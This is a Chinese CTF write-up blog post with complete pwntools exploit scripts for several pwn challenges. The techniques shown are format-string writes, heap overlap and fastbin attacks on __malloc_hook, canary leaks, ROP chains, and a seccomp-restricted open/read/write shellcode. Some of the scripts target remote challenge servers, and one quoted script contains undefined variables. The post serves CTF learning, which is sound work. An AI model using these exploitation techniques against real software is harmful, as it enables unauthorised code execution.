登录后台

页面导航

本文编写于 366 天前,最后修改于 119 天前,其中某些信息可能已经过时。

pwn_me_1

注意strcmp用'x00'截断

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = remote('39.107.93.53','10000')
p = process('./pwn_me_1')
elf = ELF('pwn_me_1')
libc = elf.libc
p.recvuntil('ready?\n')
p.sendline('yes\x00'+'\x66'*0x10)
p.interactive()

pwn_me_2

参考链接:格式化字符串漏洞学习

整了好久才出来/(ㄒoㄒ)/~~

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('47.111.233.219','10000')
#p = process('./pwn_me_2')
elf = ELF('pwn_me_2')
libc = elf.libc
p.recvuntil('name:\n')
p.sendline('a'*0x10+'%p')
p.recvuntil('0x')
addr = p.recvuntil('\n')[:-1]
addr = int(addr,16) - 0x202080 +0x2020E0
log.success('addr: '+hex(addr))
p.recvuntil('want?\n')
payload = '%'+str(0x6666)+'c'+'%10$hn'+'%'+str(0x16666-0x6666)+'c'+'%11$hn'+'A'*6
payload += p64(addr)+p64(addr+2)
p.send(payload)

p.interactive()

再补充一位大佬的wp
https://mrh1s.top/posts/44593ed6/

思路:通过格式化字符串的方式在第二个泄漏点改变栈中的函数返回地址,从而让程序直接跳过检验内存数据是否为 0x66666666 的过程。

from pwn import *
context.log_level = "DEBUG"

p = remote('47.111.233.219',10000)

#p = process('./pwn_me_2')

p.recv()

payload1 = 'a'*16 + "%14$lld"
p.sendline(payload1)
p.recvuntil('..\n')

stack_addr = int(p.recv(15))
success(hex(stack_addr))
# 0x7ffd3ff3e9c0, the addr of stack

stack_addr -= 8
p.recv()


payload2 = "%250d%8$hhn" + 'k'*5 + p64(stack_addr)
p.sendline(payload2)
 
p.interactive()

pwn_me_3

程序分析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
unsigned __int64 sub_400AE2()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("idx:");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 32 )
  {
    puts("hacker?");
    exit(0);
  }
  if ( ptr[v1] )
  {
    puts("content:");
    read(0, ptr[v1], 0x20uLL);
  }
  return __readfsqword(0x28u) ^ v2;
}

edit函数存在溢出,可以修改0x20字节的内容

在最下面有个后门函数,刚开始没看见...

漏洞利用

这道题需要用堆重叠的方法

我写的exp没利用后门函数,直接获取的shell

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = remote('39.107.93.53','10000')
p = process('./pwn_me_3')
elf = ELF('pwn_me_3')
libc = elf.libc
def add(size,content):
    p.sendlineafter('5,exit\n',str(1))
    p.sendlineafter('size:\n',str(size))
    p.sendlineafter('content:\n',str(content))
def delete(idx):
    p.sendlineafter('5,exit\n',str(2))
    p.sendlineafter('idx:\n',str(idx))
def show(idx):
    p.sendlineafter('5,exit\n',str(3))
    p.sendlineafter('idx\n',str(idx))
def edit(idx,content):
    p.sendlineafter('5,exit\n',str(4))
    p.sendlineafter('idx:\n',str(idx))
    p.sendlineafter('content:\n',str(content))
add(0x10,'a'*0x10)#0
add(0x80,'b')
add(0x10,'c'*0x10)#2
delete(1)
edit(0,'a'*0x20)
show(0)
libc_base = u64(p.recv(0x30)[0x20:0x26].ljust(8,'\x00')) - 0x3c4b20 - 88
one_gadget = 0xf1147 + libc_base
__malloc_hook = libc.symbols['__malloc_hook'] + libc_base
log.success('libc_base: '+hex(libc_base))
log.success('one_gadget: '+hex(one_gadget))
log.success('__malloc_hook: '+hex(__malloc_hook))

edit(0,'a'*0x10+p64(0)+p64(0x91))
add(0x10,'d'*0x10)#1
add(0x60,'e'*0x10)#3
delete(3)
edit(0,'a'*0x10+p64(0)+p64(0x91))
delete(1)
add(0x80,'a'*0x10+p64(0)+p64(0x71)+p64(__malloc_hook - 0x23)+p64(0))
add(0x10,'f'*0x10)
add(0x60,'g'*0x10)
add(0x60,'\x00'*19+p64(one_gadget))
#gdb.attach(p)
p.interactive()

easy_heap

程序分析

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

没开pie

unsigned __int64 sub_400A52()
{
  signed int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("What's your heap_index?");
  v1 = getnum();
  if ( v1 <= 15 && v1 >= 0 && *(&ptr + v1) )
  {
    free(*(&ptr + v1));
    puts("Success!");
  }
  else
  {
    puts("index is error!");
  }
  return __readfsqword(0x28u) ^ v2;
}

存在uaf漏洞

漏洞利用

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = remote('39.107.93.53','10000')
p = process('./easy_heap')
elf = ELF('easy_heap')
libc = elf.libc
def add(size,content):
    p.sendlineafter('4. exit\n',str(1))
    p.sendlineafter('heap_size?\n',str(size))
    p.recvuntil('heap_content?\n')
    p.send(str(content))
def delete(idx):
    p.sendlineafter('4. exit\n',str(2))
    p.sendlineafter('heap_index?\n',str(idx))
def show(idx):
    p.sendlineafter('4. exit\n',str(3))
    p.sendlineafter('heap_index?\n',str(idx))

p.recvuntil('name?\n')
p.send('a')
add(0x50,'a')#0
add(0x50,'b')#1
add(0x50,'c')#2
add(0x10,'a')#3
delete(0)
delete(1)
delete(0)
show(0)
heap_addr = u64(p.recv(0x13)[0x10:0x13].ljust(8,'\x00'))
log.success('heap_addr: '+hex(heap_addr))
add(0x50,p64(0x602058))#4
add(0x50,p64(0))#5
add(0x50,p64(0))#6
add(0x50,'a'*0x10+p64(0x500))#7
delete(6)
add(0x80,'a')#8
delete(8)
show(0)
libc_base = u64(p.recv(0x15)[0xf:0x15].ljust(8,'\x00')) - 88 - 0x3c4b20
one_gadget = 0xf1147 + libc_base
__malloc_hook = libc.symbols['__malloc_hook'] + libc_base
log.success('libc_base: '+hex(libc_base))
log.success('one_gadget: '+hex(one_gadget))
log.success('__malloc_hook: '+hex(__malloc_hook))
add(0x60,'a')#9
add(0x60,'b')#10
add(0x60,'c')#11
delete(9)
delete(10)
delete(9)
add(0x60,p64(__malloc_hook - 0x23))#9
add(0x60,p64(0))#12
add(0x60,p64(0))#13
add(0x60,'a'*19+p64(one_gadget))#14
p.send('1')
p.send('Author:at0de')
#gdb.attach(p)
p.interactive()

warm_up

seccmp介绍

seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如劫持程序流后通过execve的syscall来getshell.通过seccomp我们可以在程序中禁用掉某些syscall,这样就算劫持了程序流也只能调用部分的syscall了.

本想安装函数测试一下,结果失败了!!!还是分析漏洞吧~~

Linux沙箱之seccomp
seccomp学习笔记

程序分析

沙箱逃逸不能获取系统shell,是通过调用open函数打开flag.txt文件
ida分析程序,两次输入都可以进行栈溢出
第一次用来泄露地址

漏洞利用

安装工具seccomp-tools

$ seccomp-tools dump ./orw 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

这里发现可以使用open,write,read,exit函数
问题来了:读取flag只需要open和read函数,write函数用来干什么??
我写了一个c代码尝试,发现read只把文件的内容读取到缓冲区,没有输出,wtite函数就需要做这个

先泄露地址栈地址和堆地址,然后写shellcode通过open,read,write函数读取flag

先放两个wp吧,没怎么学过汇编~~

南梦的wp

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = remote('39.107.93.53','10000')
p = process('./warm_up')
elf = ELF('warm_up')
libc = elf.libc
p.recvuntil('warm up!!!\n')
p.send('a'*0x19)
p.recvuntil('a'*0x19)
canary = u64(p.recv(7).rjust(8,'\x00'))
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('canary: '+hex(canary))
log.success('stack_addr: '+hex(stack_addr))

payload = 'a'*0x18+p64(canary)+'b'*8+p64(0x400B30)
p.sendline(payload)
p.recvuntil('warm up!!!\n')
payload = 'a'*0x18+p64(canary)+'b'*8+p64(0x400bc3)+p64(elf.got['__libc_start_main'])+p64(elf.plt['puts'])+p64(0x400B30)
p.sendline(payload)
p.recvuntil("?")
libc_base = u64(p.recv()[-7:-1].ljust(8,'\x00')) - libc.symbols['__libc_start_main']
log.success('libc_base: '+hex(libc_base))

###111111111111111######
pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next()
system = libc +lib.symbols['system']
binsh = libc +lib.search("/bin/sh\x00").next()
gets = libc + lib.symbols['gets']
mprotect = libc+ lib.symbols['mprotect']
__free_hook = libc +lib.symbols['__free_hook']
__malloc_hook = libc +lib.symbols['__malloc_hook']
pop_rdx_ret = libc + lib.search(asm("pop rdx\nret")).next()
payload = 'a' * 0x18 + p64(canary) + 'a' * 8
payload += p64(pop_rdi_ret) + p64(elf.bss() + 0x500) + p64(gets)
payload += p64(pop_rdx_ret) + p64(7) + p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0) + p64(pop_rdi_ret) + p64((elf.bss() >> 12) << 12) + p64(mprotect)
payload += p64(elf.bss() + 0x500)
p.sendlineafter("!!!",'a')
p.sendline(payload)
payload = ''
payload += shellcraft.open("flag")
payload += shellcraft.read(3,elf.bss()+0x100,0x30)
payload += shellcraft.write(1,elf.bss()+0x100,0x30)
p.sendline(asm(payload))


p.interactive()

北邮出题人的

from pwn import *
#r=process("./warm_up")
r=remote('0.0.0.0',10004)
def leak(len):
    r.recvuntil('warm up!!!')
    r.send('a'*len+'b')
    r.recvuntil('aaaab')

def gd():
    gdb.attach(r)
    pause()

leak(0x18)
canary=u64('\x00'+r.recv(7))
print hex(canary)
lea=0x0000000000400AB6
py_1='a'*0x18+p64(canary)+p64(lea)+p64(lea)
r.sendline(py_1)
libc=ELF("./libc-2.23.so")
leak(0x2f)
libc_base=u64(r.recv(6).ljust(8,'\x00'))-240-libc.symbols['__libc_start_main']
print hex(libc_base)
pd=0x0000000000021102+libc_base
ps=0x00000000000202e8+libc_base
pb=0x000000000002a69a+libc_base
read_got=libc_base+libc.symbols['read']
write_got=libc_base+libc.symbols['write']
open_got=libc_base+libc.symbols['open']
syscall=0xF725E+libc_base
pa=libc_base+0x0000000000033544
elf=ELF('./warm_up')
py_2='a'*0x18+p64(canary)+p64(canary)+p64(lea)
r.sendline(py_2)
leak(0x3f-8)
stack=u64(r.recv(6).ljust(8,'\x00'))
print hex(stack)
fake=stack-0x4b8+0x3b0
py_3='./flag\x00\x00'+'a'*0x10+p64(canary)*2
py_3+=p64(pd)+p64(fake)+p64(ps)+p64(0)+p64(pb)+p64(0)+p64(open_got)
py_3+=p64(pd)+p64(3)+p64(ps)+p64(elf.bss()+0x100)+p64(pb)+p64(0x100)+p64(read_got)
py_3+=p64(pd)+p64(1)+p64(ps)+p64(elf.bss()+0x100)+p64(pb)+p64(0x100)+p64(write_got)
r.sendline(py_3)
r.interactive()

easy_rop

程序分析

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护开的比较多~

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int i; // [rsp+Ch] [rbp-74h]
  int num[26]; // [rsp+10h] [rbp-70h]
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(num, 0, sizeof(num));
  sub_9D0();
  puts("Please input some number");
  for ( i = 0; (signed int)i <= 33; ++i )
  {
    printf("number %d: ", i);
    __isoc99_scanf("%d", &num[i]);
    printf("number %d = %d\n", i, (unsigned int)num[i]);
  }
  write(1, "What's your name?\n", 0x12uLL);
  read(0, &name, 0x100uLL);
  return 0LL;
}

程序会循环获取34个数字,以int类型数组的方式存在内存中
注意初始化的时候只申请了26个数字的大小,于是这里可以溢出

scanf("%d")输入+,-不会改变原来栈上内容,可以根据这个来leak
最后讲栈迁移到我们可以输入的bss段中,写gadget来leak+getshell